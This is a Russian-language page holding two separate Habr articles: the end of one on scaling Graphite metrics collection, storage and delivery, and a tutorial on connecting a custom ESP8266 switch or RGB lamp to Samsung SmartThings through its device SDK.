* stdev — [стандартное отклонение](https://ru.wikipedia.org/wiki/%D0%A1%D1%80%D0%B5%D0%B4%D0%BD%D0%B5%D0%BA%D0%B2%D0%B0%D0%B4%D1%80%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%BE%D1%82%D0%BA%D0%BB%D0%BE%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5)
Их на самом деле больше (ознакомиться с полным их перечнем можно в соответствующем разделе документации), но в большинстве случаев мы используем эти. Уже имея их, можно примерно представлять, как система работает в общем, нет ли в ней сбойных узлов или каких-то аномалий. Тут можно сделать небольшую ремарку и сказать, что, когда трафик по экземплярам приложения разливается более менее равномерно, когда все хорошо и у нас нет аномальной загруженности, стандартное отклонение не колеблется в больших пределах.
Также агрегирующий сервер решает проблему, когда метрики поступают слишком часто. Тут следует немного сказать про устройство файла whisper, в котором в нашем случае и хранятся метрики. Как можно увидеть из дампа ниже:
```
maxRetention: 31536000
xFilesFactor: 0.10000000149
aggregationMethod: min
fileSize: 2680192
Archive 0
retention: 604800
secondsPerPoint: 10
points: 60480
size: 725760
offset: 64
Archive 1
retention: 1987200
secondsPerPoint: 30
points: 66240
size: 794880
offset: 725824
Archive 2
retention: 13219200
secondsPerPoint: 300
points: 44064
size: 528768
offset: 1520704
Archive 3
retention: 31536000
secondsPerPoint: 600
points: 52560
size: 630720
offset: 2049472
```
whisper файл состоит из секций, в каждой секции указывается интервал, через который идут разные точки `secondsPerPoint`, и сколько по времени точка находится в текущей секции перед тем, как быть «схлопнутой» (это еще называется прореживанием или donwsampling’ом) и переместиться в следующую секцию. Становится понятно, что если метрики поступают чаще, чем `secondsPerPoint` в первой секции, то побеждать будет тот, чья точка придет последней в интервале `secondsPerPoint`, что, конечно же, будет приводить к потере данных.
Все бы хорошо в оригинальном statsd, однако тот факт, что он реализован на `nodejs`, дает о себе знать: он медленный и потребляет много памяти, особенно если это `timing` метрики. Это связано прежде всего с «наивным» способом подсчета персентилей. Поэтому мы заменили его более производительной версией [statsite](https://github.com/statsite/statsite).
Интересной его особенностью является то, что персентили он подсчитывает [статистическим алгоритмом](http://dmac.rutgers.edu/~graham/pubs/papers/bquant-icde.pdf). Этот алгоритм считает их с определенной ошибкой, которая, впрочем, настраивается, благодаря чему расчет персетилей происходит очень экономно по памяти. Сам по себе statsite хоть и решает в какой-то степени задачи вертикального масштабирования (об этом можно говорить лишь отчасти, так как этот сервер однопоточный, потоки в нем используются лишь для отправки предагрегированных данных дальше уже в сам графит), все же хотелось бы иметь возможность горизонтального масштабирования. В нашем случае необходимость этого шага назрела вследствии того, что мы стали упираться в максимальное число пакетов, которое может приниматься сетевым интерфейсом в облаке aws для инстансов поколения c4, m4, r4 (справедливости ради можем отметить, что новые поколения с5, m5, r5 обладают порогами намного выше). Также на графиках мониторинга сетевого интерфейса было видно полку по числу пакетов в секунду (это около `50к/s`), и, разумеется, как результат — мы получали неадекватные значения для графиков некоторых метрик.
В сети мы нашли проект [statsd-proxy](https://github.com/hit9/statsd-proxy), который, собственно, и делает то, что нам нужно, а именно объединяет бэкенды в `hashring` по алгоритму ketama. Но нам хотелось большего — добавить ему динамики, чтобы можно было легко добавлять и удалять бэкенды statsite без перезагрузок рабочего демона прокси и, разумеется, автодисковери. Что мы благополучно и сделали, а так же добавили поддержку TCP, так как из коробки `statsd-proxy` не умеет TCP, что для большого потока метрик не сильно заметно, однако дропы UDP пакетов в облаке aws все-таки случаются. Когда метрики идут не очень часто, можно увидеть странные (на первый взгляд необъяснимые) провалы в таких графиках, ситуацию исправляет переход на протокол TCP (в нем есть ретрансмиты, которые досылают потерянные по дороге данные). Это, конечно, не идеальное решение, и протокол TCP мы используем только для небольшого множества метрик.
---
Следует отметить, что существует 3 подхода к тому, на каком этапе начать шардировать метрики, отправляемые в statsd:
1. Можно и в самой библиотеке взаимодействия со statsd реализовать все, что нужно, однако этот подход самый трудоемкий, требует от разработки определенных усилий (элементарно, это надо ментейнить). Плюс подход чреват большим количеством ошибок, он не очень переносимый, так как требуется интеграция с механизмами автодисковери, коих на самом деле может быть не один десяток.
2. Запускать прокси непосредственно на хосте с экземпляром приложения. В этом случае мы достигаем линейного масштабирования по числу узлов, добавленных в statd бекенд, но нам все равно нужно модифицировать клиента (хотя тут все просто — нужно просто поменять доменное имя, а можно и не менять, немного поиграв с кешем DNS). Помимо прокси нужно будет запускать и мониторящий демон. (Этот демон занимается взаимодействием с нашим механизмом автодисковери на основе `hashicorp consul` и через реализованный api в proxy сообщает об этих изменениях самому statsd proxy.)
3. Шардировать непосредственно уже при приеме. Это существенно упрощает хосты, на которых крутятся приложения, и делает их более универсальными, однако масштабирование здесь получается далеко не линейное. Можно показать, что коэффициент масштабирования будет:
Где k — это количество узлов в stasite ферме, и видно, что при 9 узлах мы получаем лишь 20% на экземпляр вместо 11% от общего потока метрик, если бы масштабирование было линейным (1/k). Нелинейность легко объяснить, так как часть трафика, что мы получили при таком приеме, нужно отправить на соседей. Можно показать что такой способ в 2 раза хуже, чем линейный:
Мы пошли по 3 варианту и пока не уперлись в проблему нелинейности масштабирования, но помним про нее. Если она возникнет, нам не останется ничего лучше, чем идти по второму варианту.
Проблема 2: Доставка метрик
---------------------------
Метрики мы собрали, все замечательно, теперь их нужно как-то доставить в наш сторейдж, а дополнительно, возможно, и добавить в систему алертинга. Казалось бы, все тут просто: бери [carbon-c-relay](https://github.com/grobian/carbon-c-relay), меняй конфиги, проблем с масштабированием не будет, если не пользоваться агрегацией.
Однако в нашем случае мы пересылаем метрики в другой датацентр, поближе, так сказать, к тем, кто эти метрики смотреть будет. И здесь мы сталкиваемся с проблемой сетевой устойчивости и отказа приемной стороны. Это может произойти по множеству причин: от человеческой ошибки до проблем на магистральных каналах. Например, когда мы пересылали метрики непосредственно в Российские ДЦ, это случалось очень часто.
Решение напрашивается очень простое: это буферизация исходящих метрик где-то, и под где-то мы подразумеваем диск, так как в нашем случае мы можем себе позволить даун приемной стороны до 1 суток. Идею мы изначально подсмотрели в проекте [grafsy](https://github.com/leoleovich/grafsy), большое спасибо его автору. Но первый же даун нашей приемной стороны показал, что проект просто не в состоянии обрабатывать большое количество входящих метрик. Результатом явился наш [форк](https://github.com/tantra35/grafsy). Как все работает, можно увидеть на следующей схеме:
В исходном проекте мы изменили совсем чуть-чуть: хранилище метрик заменили на перcистентную [очередь](https://github.com/beeker1121/goque), сделали более интеллектуальный fallback, плюс добавили несколько метрик, которые характеризуют, как работает внутренняя очередь и насколько у нас все плохо или хорошо с отправкой метрик дальше. Для примера приводим текущую статистику:
Здесь:
* `got.net` — это количество агрегированных метрик в секунду, полученных на отправку
* `saved` — это метрики, которые нужно досылать, то есть они не отправились с первого раза
* `sent` — это метрики, которые успешно отправились с первого раза
По представленному выше графику видно, что часть метрик приходится постоянно досылать. Можно было бы подумать, что метрики дропаются, например, на входе в caronb-c-relay, однако его статистика говорит нам об обратном:
Проблема 3: Хранение метрик
---------------------------
Все, теперь метрики добрались непосредственно до сторейджа, и их можно туда положить. В силу того, что 1 whisper файл соответствует 1 метрике, это требует довольно много дискового пространства, и, разумеется, их нужно шардировать. Тут нам на помощь приходят или [carbonate](https://github.com/graphite-project/carbonate), или [buckytools](https://github.com/jjneely/buckytools). Последний позволяет полность автоматизировать ввод в строй нового шарда (ребаланс метрик), без ручного вмешательства, плюс он быстрее. Непосредственно самим шардированием в нашем случае занимается `carbon-c-relay`, а самим хранением — [go-carbon](https://github.com/go-graphite/go-carbon), так как оригинальный сервер carbon, написанный на python, отличается крайне низким быстродействием и повышенным потреблением ресурсов. Однако и в этом, казалось бы, простом процессе есть свои подводные камни:
1. Если метрика хоть раз появилась, она никогда не исчезнет и будет лежать мертвым грузом, даже если давным давно не используется. Соответственно, мы удаляем метрики, которые не обновляются в течение месяца, и это время является для нас разумным компромиссом. Хотя у нас и заложена возможность настраивать персистентность в зависимости от имени метрики, увы, эта фича пока еще не потребовалась.
2. Метрики могут поступать с различной скоростью, и, например, схема данных, подходящая для точек, которые идут раз в 5 секунд, не подходит для точек, которые идут со скоростью раз в 30 секунд. Описать сразу для каждой метрики необходимые схемы — задача очень трудоемкая, поэтому мы подошли к этому процессу в лоб и в имени метрики кодируем схему, по которой она будет сохранена в whisper файле. Приведем небольшой кусочек нашего конфига для описания схем метрик:
```
[10s]
pattern = .*\.10s.*
retentions = 10s:7d,30s:23d,300s:153d,600s:1y
[20s]
pattern = .*\.20s.*
retentions = 20s:7d,60s:23d,300s:153d,600s:1y
[30s]
pattern = .*\.30s.*
retentions = 30s:7d,60s:23d,300s:153d,600s:1y
[1m]
pattern = .*\.1m.*
retentions = 60s:30d,300s:153d,600s:1y
[2m]
pattern = .*\.2m.*
retentions = 120s:30d,600s:1y
```
Из него, наверное, несложно понять суть: за счет добавления суффикса в имени метрики мы определяем схему хранения. Это, конечно, не идеальный подход, так как названия метрик становятся не очень красивыми, но это нас избавляет от проблем неправильных агрегаций при схлопывании метрик (более подробно этот процесс описан по [ссылке](https://www.franklinangulo.com/blog/2014/5/20/graphite-series-3-whisper-storage-schemas-aggregations)). Также это избавляет нас от некорректного отображения графиков, когда идет решардирование кластера graphite. Тут следует сделать небольшое пояснение и немного углубиться в то, как работает графит. Если сами по себе метрики при сохранении по хешу раскидываются по шардам, то, когда они оттуда извлекаются, graphite-web делает запрос на все шарды, получает с них данные, склеивает друг с другом и отдает готовый результат. Этот результат может как рисоваться в виде графиков, так и получаться в виде сырых данных. Однако если для одной и той же метрики, полученной с разных шардов, не будут совпадать схемы хранения, это приведет к тому, что никаких графиков мы не получим.
3. Так как шардов у нас несколько, и они динамические (то есть они довольно легко могут путешествовать по кластеру), нам нужно как-то централизованно управлять задаваемыми схемами данных и схемами агрегации. Но тут все просто: go-carbon позволяет по сигналу перечитывать эти конфиги, получается, у нас нет пенальти по restart или graceful restart, и нам достаточно лишь положить эти файлики в consul и на шардах следить за их изменениями. Конечно, для этой задачи можно использовать полноценный [consultemplate](https://github.com/hashicorp/consul-template), но нам показалось, что это «из пушки по воробьям», и мы написали более легковесный демон для этой цели, благо это совсем несложно.
Если подытожить, то в настоящий момент мы имеем масштабируемую систему приема и хранения метрик, которая в большинстве случаев нас устраивает, однако она не лишена недостатков, главным из которых является хранение метрик в whisper файлах. Помимо того, что этот способ весьма прожорлив по дисковому пространству, есть еще и проблема вновь создаваемых метрик: они не сразу появляются в перечне, и это время определяется метрикой queueWriteoutTime, которую ведет go-carbon. В нашем случае это время составляет около часа и колеблется в зависимости от интенсивности поступления метрик:
Также не можем не отметить, что все наши попытки заменить graphite-web на его более производительную версию [carbonapi](https://github.com/go-graphite/carbonapi) у нас не увенчались успехом. Мы наблюдали пропадание метрик на ровном месте, проблема имела плавающий характер, а отлаживать и искать реальную причину на момент внедрения у нас не нашлось ресурсов, и мы, увы, отложили это в долгий ящик.
И все же, несмотря на некоторые сложности и нерешенные проблемы, на наш скромный взгляд, графит все еще является отличнейшей системой мониторинга (да, в нем нет встроенного алертинга, но это решаемо), которую очень легко скалировать, она неприхотлива, а благодаря ее архитектуре можно легко заменять одни части подсистемы другими без ущерба для общего функционирования. | https://habr.com/ru/post/539080/ | null | ru | null |
# Встраиваем своё устройство «Умного дома» в экосистему SmartThings
Платформы «Умного дома» позволяют интегрировать устройства и создавать новые сценарии их взаимодействия. Известен эффект платформ: пользователи скорее выберут ту, с которой уже совместимы имеющиеся у них устройства, нежели перейдут на какую-либо новую. Поэтому для разработчиков новых гениальных девайсов может оказаться выгоднее встраиваться в уже готовую платформу, сосредоточив внимание на «железном» продукте, нежели разрабатывать свои собственные «велосипеды» в виде еще одних облачных экосистем и личных кабинетов.
Рассмотрим, как встроить свое собственное устройство с платформой «Умного дома» Samsung SmartThings. Мы реализуем вариант прямого (Direct) подключения для управления устройством «Умного дома» на примере кнопки-выключателя и трехцветной лампочки.
Зачем вообще нужны платформы «Умного дома»?
===========================================
Сейчас гаджетов и умных устройств в продаже — сколько хочешь. Не проблема купить чайник с управлением по Bluetooth или лампочку с WiFi. Но делает ли это ваш дом «умным»? Нередка ситуация: лампочка управляется только через мобильное приложение от производителя. Это создает неудобства, если вы пытаетесь сочетать хотя бы несколько разных брендов. Поэтому идеальная платформа – это та, которая дает возможность управлять единообразно устройствами разных производителей.
Более того, хотелось бы видеть «растворенный в повседневности компьютер», как мечтал об этом Марк Вайзер из Xerox PARC: не управлять через специальное приложение, не распылять свой фокус внимания. Хотелось бы естественного взаимодействия с умной средой, не меняющего наших привычек. Как реализовать это технически? Например, это могут быть сценарии, где вовлечены разнородные устройства в доме: вы проснулись – носимое устройство это детектировало и включился чайник; вы пришли домой – датчик на двери это зафиксировал, с учетом времени суток задернулись шторы, лампа включилась, с учетом температуры включился кондиционер.
Сценарии становятся ещё более полезными, если мы задействуем Интернет: например, чтобы дистанционно проверить, выключена ли розетка с утюгом. Или банальный пример: ваш умный дом посмотрел прогноз погоды и выдал вам совет, как лучше одеваться. А можно еще добавить управление голосом через умную колонку.
Для всего этого предназначены платформы «Умного дома». Рассмотрим, что умеет платформа Samsung SmartThings.
Предыстория – что такое SmartThings?
====================================
SmartThings начинался как стартап. На тот момент, когда он появился, в 2012 году в США, тема «Умного дома» ещё не была на вершине хайпа, не было ещё умных колонок и разнообразия гаджетов в магазинах. Идея пришла основателю стартапа, Алексу Хокинсону, после одного случая: дом его семьи в Колорадо пострадал оттого, что после временного отключения электричества водопроводные трубы сильно замерзли, их прорвало, и весь этаж залило. Тогда он подумал, что мог бы предотвратить проблему, если бы знал о происходящем в доме.
После безуспешного поиска готового решения Хокинсон и его коллеги сделали прототип устройства и начали кампанию на Kickstarter. Кампания оказалась сверх-успешной, собрали 1 200 000 $ вместо запланированных 250 000$ за 30 дней. Началась продажа хаба-концентратора с небольшим набором устройств в комплекте: умная розетка, датчик открытия двери, датчик движения, датчик присутствия. А в 2019 году, уже под брендом Samsung SmartThings, вышла третья по счету версия хаба.
*Залогом успеха на Кикстартере было наличие работающих прототипов железа и софта, и дружественность к мейкерскому сообществу*
Создатели стартапа вышли из DIY-среды, поэтому они последовательно развивают концепцию открытого API для гиков-мэйкеров, способных на ранней стадии выступить как early adopters. В кампании на Kickstarter был и шилд для Arduino, и различные облачные модули для беспроблемного подключения вашего стороннего устройства. В Интернете вы сможете найти множество примеров самодельных устройств, совместимых со SmartThings, будь то управляемая [дверь курятника](https://www.nutsvolts.com/magazine/article/january2016_smartthingsdevicemaker) (с решением серьезной жизненной задачи – спасти цыплят от хищной норки), или дистанционная [установка](https://github.com/aaronpk/Auto-AirBnB-Entry) кода электронного замка для гостей с Airbnb.
*Источник фото: <https://www.hackster.io/aaronpk/auto-airbnb-entry-745799>*
В 2012-2013 годах компания SmartThings прошла несколько раундов инвестирования и получила 12,5 миллионов долларов. И наконец, в 2014 году она заинтересовала компанию Samsung и была приобретена за 200 млн $ в рамках стратегии по входу на рынок Интернета вещей.
Облачные возможности платформы остались бесплатными: авторы, теперь уже сотрудники Samsung, не исключая теоретической возможности брать плату за большие объёмы трафика, подчеркивают: для разработчиков устройств всегда будет оставаться бесплатный вариант. Это радует, ведь сейчас почти во всех облачных сервисах предусмотрена монетизация, и зачастую даже на пробный период нужно привязывать банковскую карточку. SmartThings же — полностью бесплатная платформа.
Архитектура SmartThings
=======================
Давайте двигаться по схеме слева направо.
Устройства
----------
SmartThings Devices – это могут быть не только устройства из [комплекта SmartThings](https://www.samsung.com/us/smart-home/smartthings/kits/samsung-smartthings-home-monitoring-kit-f-mon-kit-1/), но и множество сторонних из списка партнёров.
Если устройства нет в списке официально поддерживаемых, вы можете поискать к нему *Device Handler* — он может быть предоставлен [сообществом](https://community.smartthings.com/) разработчиков — или написать свой собственный.
Способы подключения
-------------------
Подключать устройства к платформе вы можете следующими способами:
* Hub-connected — через хаб-концентратор, актуально для устройств, которые своего выхода в Интернет не имеют, а соединяются через традиционные для такого рода систем беспроводные сети наподобие ZigBee.
* Directly-connected — через Интернет напрямую к облаку. Недавно SmartThings [выпустили](https://news.samsung.com/us/smartthings-cam-smart-camera-wifi-smart-plug-bulb/) видеокамеру, лампочку и умную розетку, и они работают без хаба – через WiFi. Именно такой вариант мы будем реализовывать в данном руководстве.
* Cloud-connected — через стороннее облако для тех устройств, у которых уже есть своя облачная экосистема. Это сложнее, поэтому такой вариант рассматривать не будем.
Хаб
---
Обычно для подключения разнообразной аппаратуры у вас дома должен стоять специальный маленький сервер «Умного дома», поддерживающий различные протоколы. Он же – хаб, концентратор, шлюз – названия бывают разные.
*Хаб и комплект устройств к нему. Источник фото: [IXBT](https://www.ixbt.com/news/2018/08/13/samsung-smartthings-wifi.html).*
Приложение
----------
SmartThings App – это приложение, которое можно установить на основные мобильные ОС и с его помощью: добавлять новые устройства в систему, контролировать уже добавленные, назначать правила автоматизации, получать уведомления через push и SMS, и многое другое.
Абстракции
==========
В SmartThings, как и во многих других платформах умного дома, есть следующие абстракции: комнаты, сцены, сценарии.
Устройства группируются в комнаты (Rooms). Вы просто присоединяете в приложении те или иные гаджеты к одной комнате, и называете её «Кухня», «Ванная», «Прихожая».
Ещё есть сцены (Scenes) – это ситуации: «сон», «отдых», «работа», «просмотр фильма» — каждая из ситуаций характеризуется своим набором состояний устройств.
*Сцены и комнаты на экране приложения*
И наконец, сценарии (Routines): правила автоматизации «если – то». По умолчанию в программе четыре сценария: «Я вернулся», «Спокойной ночи», «Пока», «Доброе утро». Можно настроить активацию сценария по условию наступления утра, или в случае движения, или в случае открытия двери, и так далее. Нетривиальный пример: когда я вхожу домой — заблокировать сетевой трафик на домашней камере видеонаблюдения, чтобы исключить возможность утечки моих личных видео. Или жестокий воспитательный пример: принудительно отключить планшет от сети, когда наступило 11 часов вечера, чтобы не дать себе залипать в Интернете вместо здорового сна.
Более того, в программе SmartThings на телефоне есть интересная возможность – запоминание типичных действий. Когда часто пользуешься телефоном, он со временем начинает тебе подсказывать, как лучше сконфигурировать сцены, исходя из самых часто запускаемых приложений.
Для добавления в систему новых устройств предусмотрена система плагинов. Разработчик может запрограммировать плагин для своего собственного устройства – пользовательский интерфейс внутри приложения SmartThings и логику работы устройства. По сути, это веб-приложение. С точки зрения разработчика, плагин может подписываться на события или уведомления с устройства, посылать ему сообщение, мониторить статус соединения с устройством. Есть понятная [документация](https://smartthings.developer.samsung.com/docs/guides/plugin/overview.html) о жизненном цикле плагина.
Скачиваются они пользователем из «магазина плагинов» по мере необходимости, чтобы не раздувать приложение на телефоне.
Но сейчас мы никаких плагинов делать не будем, а сделаем проще: добавим самодельное устройство, пользуясь только стандартными средствами платформы.
Делаем своё устройство совместимым со SmartThings
=================================================
У вас может возникнуть вопрос: а зачем? В чем смысл делать его совместимым, если вы – разработчик устройства?
* Основное преимущество – увеличение ценности продукта благодаря автоматической интеграции со всей экосистемой.
* При условии прохождения функционального тестирования, вы можете наклеить на коробочку продукта лого: «Совместимо со SmartThings», тем самым вы гарантируете беспроблемную установку и настройку устройства в экосистеме SmartThings.
* Как и с любой платформой, ваша задача облегчается: вам уже не нужно стараться и разрабатывать, к примеру, пользовательский интерфейс – вы можете воспользоваться стандартными кнопками и прочими элементами интерфейса SmartThings.
* Вы получаете пиар и аудиторию пользователей благодаря коммьюнити SmartThings (оно живое и активное).
В нижеприведенном руководстве подключать мы будем своё, полностью кастомное устройство.
### Что предлагается сделать
SmartThings Device SDK (STDK) был презентован недавно – на Samsung Developer Conference в октябре 2019 года. Ниже мы предлагаем перевод [руководства](https://smartthings.developer.samsung.com/docs/devices/direct-connected-devices/overview.html) по этому SDK. И не просто перевод: мы всё то же самое проделали и повторили своими руками, поэтому тут будут некоторые комментарии практического характера, выходящие за пределы изначального руководства.
Как будет выглядеть итоговый результат, показано на видео:
RGB-светильник подключается к платформе SmartThings через WiFi, и вы управляете им через телефон. Сам светильник реализуется максимально дешевым и простым способом – на сверхпопулярной микросхеме ESP8266. Железо не принципиально: можно делать на любом микроконтроллере, ведь SDK написан на языке С, выложен в открытый доступ и его можно портировать при желании. В «продакшн» светильник на ESP вряд ли пойдет (начнем с того, что в «Умном доме» удобнее использовать другие интерфейсы, нежели WiFi), но для модели и иллюстрации вполне сгодится.
Функционал получившейся «умной лампочки» будет такой: управление RGB-светодиодом при помощи цветового круга на телефоне. А также ее выключение и включение посредством кнопки.
Процесс разработки показан на схеме:
Показанный процесс не жесткий, некоторые из шагов можно менять местами, что и покажем в руководстве.
Железо
------
В оригинальном руководстве показано всё на примере платы WeMos D1 Mini, это отладочная плата на основе ESP8266, которую можно вставлять в макетную плату. В общем-то, ничего хитрого в ней нет, это просто модуль суперпопулярного в среде любителей китайского чипа ESP, напаянный для удобства работы на более широкую плату по размеру макетки. Поэтому вы можете делать всё и на любой другой плате.
 
*Слева: WeMos D1, справа – Troyka WiFi Shield*
Софт
----
Что нужно для сборки примера:
* Ubuntu Linux версии не ниже 18.04 (можно собирать пример и под Windows, и под MacOS, но мы для определенности выбрали Linux)
* Телефон с Android версии не ниже 1.7.39, либо iOS версии не ниже 1.6.41-343. Установите из Play Market приложение SmartThings, также нужно зарегистрировать бесплатный Samsung Account. Для этого не нужно обладать телефоном Samsung, привязывается просто к почте.
* ESP8266 SDK. Как установить, [написано](https://github.com/espressif/ESP8266_RTOS_SDK.git) в репозитарии, но в общем, всё очень просто:
```
git clone https://github.com/espressif/ESP8266_RTOS_SDK.git
```
И прописать путь к этому SDK в переменной IDF\_PATH:
```
nano ~/.bashrc
export IDF_PATH="~/git/ESP8266_RTOS_SDK:$IDF_PATH"
```
* Также понадобится установить библиотеки:
```
sudo apt-get install gcc git wget make libncurses-dev flex bison gperf python python-pip python-setuptools python-serial python-cryptography python-future python-pyparsing python-pyelftools
```
И инструменты разработки (компилятор):
```
sudo mkdir /opt/Espressif
sudo chown username /opt/Espressif/
cd /opt/Espressif
wget https://dl.espressif.com/dl/xtensa-lx106-elf-linux64-1.22.0-100-ge567ec7-5.2.0.tar.gz
tar -xzf ./xtensa-lx106-elf-linux64-1.22.0-100-ge567ec7-5.2.0.tar.gz
cd xtensa-lx106-elf
nano ~/.bashrc
export PATH="/opt/Espressif/xtensa-lx106-elf/bin:$PATH"
```
UPD: не пробуйте установить более новый компилятор, как показывает практика, его новые версии не совместимы с SDK, и при сборке проекта вы будете получать ошибку. Поэтому используйте указанную здесь ссылку. это точно рабочая версия. По крайней мере, так по состоянию на 2021 год.
* Smart Things Device SDK C – библиотека на С. У нее есть свой [репозиторий](https://github.com/SmartThingsCommunity/st-device-sdk-c) в github, но мы в целях обучения скачаем не саму библиотеку, а справочные материалы к ней, в которых и будут готовые примеры приложений.
```
git clone https://github.com/SmartThingsCommunity/st-device-sdk-c-ref.git
cd st-device-sdk-c-ref
./setup.sh esp8266
```
Руководство
-----------
В качестве примеров будут рассмотрены следующие устройства: умный выключатель и умная лампочка. Мы начнем с умного выключателя, как более простого и не требующего никакой внешней периферии.
### Шаг 1. Регистрируем свое устройство.
Работа начинается в [SmartThings Developer Workspace](https://smartthings.developer.samsung.com/workspace/), где нужно залогиниться с помощью Samsung Account. Этот аккаунт создается бесплатно, и для его создания не обязательно иметь телефон Samsung.
В Developer Workspace вам сразу же предлагают создать первый проект. Соглашаемся, после чего из двух вариантов проектов нужно выбрать Device Integration.
На выбор будут даны три варианта интеграции устройства:
* SmartThings Cloud Connector — для подключения устройств, имеющих собственное облако, которое будет связано с облаком SmartThings
* SmartThings Hub — для устройств ZigBee, Z-Wave, Bluetooth, и на момент написания статьи недоступен, так как хаб официально пока не продается в России
* Directly Connected – самый простой вариант для подключения напрямую, без каких-либо посредников.
Выбираем третий вариант. Придумайте название проекта, например, для простоты — SmartSwitch.
Добавляем профиль устройства. Если говорить в терминах ООП, то профиль устройства – это такой «класс», а конкретное устройство – «экземпляр класса».
Нам нужно определить функциональные характеристики устройства в терминах SmartThings Capability («способностей»). О том, какие вообще «способности» устройства существуют, можно [прочитать](https://smartthings.developer.samsung.com/docs/api-ref/capabilities.html#Capabilities-Reference) в инструкции.
Заполняем поля своими значениями. Для примера, имя профиля можно вписать Test Switch Profile, описание – любой текст, тип устройства – Switch, Vendor ID – любой текст. «Тип устройства» влияет на иконку вашего устройства и на пользовательский интерфейс. В списке не так много возможных типов устройств (хотя есть и экзотические, например WineCellar – винный шкаф), поэтому, если не найдете именно вашего – не расстраивайтесь и просто выберите наиболее близкое и похожее. На последнем экране (Dashboard Control) можно ничего не менять.
После создания профиля, не забудьте нажать на кнопку «Add device profile to project» вверху справа.
* Важно: способность «Health Check» требуется для всех подключенных напрямую устройств. Добавьте её в профиль устройства.
* Для примера «Умный выключатель» понадобятся следующие способности: Switch, Health Check.
Теперь добавляем профиль аутентификации (Onboarding profile). Если вкратце, то в этом профиле вы можете кастомизировать экраны, появляющиеся при первом подключении и логине. Введите любое название и любое трехзначное число. Другие два экрана можно пока пропустить. На последнем экране выберите вариант подтверждения – Button Confirm – по нажатию кнопки на устройстве. В данном руководстве мы предполагаем, что вам досталась плата со встроенной кнопкой. Если вдруг кнопки нет (например, вы используете другой ESP-модуль), то можете выбрать вариант без аутентификации вовсе – он называется Just Works, то есть «просто работает» без лишних вопросов.
И опять же, по аналогии с предыдущим примером, не забудьте нажать кнопку «Add device onboarding to project».
Останется только нажать кнопку Deploy. После этого вы сможете увидеть ваше устройство в приложении SmartThings – но только в режиме разработчика (Developer Mode). Если Deploy не нажимается, и вам пишут «Please add a Model Name» — то это означает, что вы не указали Device Onboarding ID, промотайте страницу ниже и сделайте это – введите любое имя на ваше усмотрение.
Теперь вы можете начать тестирование вашего виртуального устройства на телефоне.
Весь первый шаг подробно показан в видео:
Регистрация устройства в облаке
-------------------------------
Прежде, чем приступать к работе с собственно «железом», нужно сделать еще кое-что. После нажатия кнопки Deploy экран будет выглядеть иначе: там появится новое поле Device Identity.
Для аутентификации вашего устройства в облаке SmartThings нужно ввести его серийный номер и публичный ключ (со схемой подписи ED25519). Это делается достаточно легко.
В этом примере показано, как создать пару ED25519-ключей при помощи инструмента в SDK. Вы получите файл **device\_info.json** как результат работы программы в папке **tools/keygen/linux/output\_{ serialNumber}**.
Linux-версия кейгена расположена в **st-iot-device-sdk-c-reference/iot-core/tools/keygen/linux** либо в **st-device-sdk-c/tools/keygen/linux**
Серийный номер для тестового устройства будет сгенерирован случайным образом в формате STDK + [MNID] + буквенно-цифровой формат (8 символов). Свой MNID можно узнать в профиле разработчика, в разделе Manage Account.
Далее, чтобы сгенерировать буквенно-цифровую часть, вам нужно ввести ваш MNID (4 символа) как парамер кейгена. В нижеприведенном примере MNID – это fJ\*c.
```
cd ~/Workspace/st-iot-device-sdk-c-ref/iot-core/tools/keygen
python3 ./stdk-keygen.py --mnid fJ*c
Go Device Identity of Developer Workspace.
Serial Number:
┌──────────┬──────────┐
│ STDKfJ*c │ abed**5c │
└──────────┴──────────┘
Public Key:
waGgyjWIvHhF1LU***FG2hx/4u***ADFHr/ry0j5jbk=
```
Скопируйте «abed\*\*5c» из выдачи кейгена, и вставьте в поля XXXXXXXX в разделе Device Identity Registration. Появится окно, в котором вас попросят ввести публичный ключ.
Скопируйте публичный ключ из выдачи кейгена («waGgyjWIvHhF1LU\*\*\*FG2hx/4u\*\*\*ADFHr/ry0j5jbk=» в этом примере) и вставьте в поле „Device Public Key“.
Шаг 2. Прошивка устройства
--------------------------
Поговорим о коде, который вы будете загружать в устройство.
Примеры прошивки находятся в папке **st-device-sdk-c-ref/apps/esp8266/**. Нас будет интересовать пример **st\_switch**.
* Скачайте **onboarding\_profile.json** в окне обзора вашего устройства в кабинете разработчика.
* Скопируйте скачанный файл **onboarding\_profile.json** в директорию вашего приложения – в нашем случае **apps/esp8266/st\_switch/main**.
```
cd ~/Workspace/st-device-sdk-c-ref/apps/esp8266/st_switch/main/
cp ~/Downloads/onboarding_profile.json .
```
Там уже есть пример такого файла – просто замените его своим.
* Аналогично, скопируйте файл **device\_info.json** из папки **tools/keygen/linux/output\_{serialNumber}**, в котором находится специфичная для устройства информация, в ту же папку, заменив существующий файл.
```
cd ~/Workspace/st-device-sdk-c-ref/iot-core/tools/keygen/linux/
cp output_{serialNumber}/device_info.json ~/Workspace/st-device-sdk-c-ref/apps/esp8266/st_switch/main/
```
В этом файле помимо ключей и серийного номера есть строка „firmwareVersion“ – её можно заменить на версию вашей программы.
* Теперь соберите и прошейте программу.
```
cd ~/Workspace/st-device-sdk-c-ref
./build.sh esp8266 st_switch
./build.sh esp8266 st_switch flash
./build.sh esp8266 st_switch monitor
```
Или то же самое, но покороче:
```
cd ~/Workspace/st-device-sdk-c-ref
./build.sh esp8266 st_switch flash monitor
```
! Если у вас никак не получается прошить программу – скорее всего, вы забыли перевести плату ESP8266 в режим программирования. Это делается, как правило, нажатием кнопки на самой плате. Например, Wi-Fi Troyka модуль можно перевести, зажав кнопку PROG, и затем нажав и отпустив кнопку RESET.
После того, как закачается прошивка, не забудьте перезагрузить плату.
Шаг 3. Подключение и управление с телефона
==========================================
Включите режим разработчика в приложении SmartThings на телефоне. Как это сделать, [написано](https://smartthings.developer.samsung.com/docs/guides/testing/developer-mode.html) на официальном сайте, но проще объяснить словами: входите в настройки через «шестеренку», и жмете 20 секунд кнопку «Сведения о SmartThings». Внизу появится меню «Режим разработчика».
Наше устройство должно быть видно в списке в приложении SmartThings: запускаем приложение, нажимаем „плюс“ и „Добавить устройство“. Проматываем в конец списка вендоров и видим значок „My Testing Devices“. Нажимаем на него и выбираем своё устройство.
Более того: если вы уже активировали режим разработчика, и включили устройство, то у вас возникнет всплывающее меню, предлагающее добавить именно это устройство!
Начнется подключение:
*Управление устройством из приложения SmartThings.*
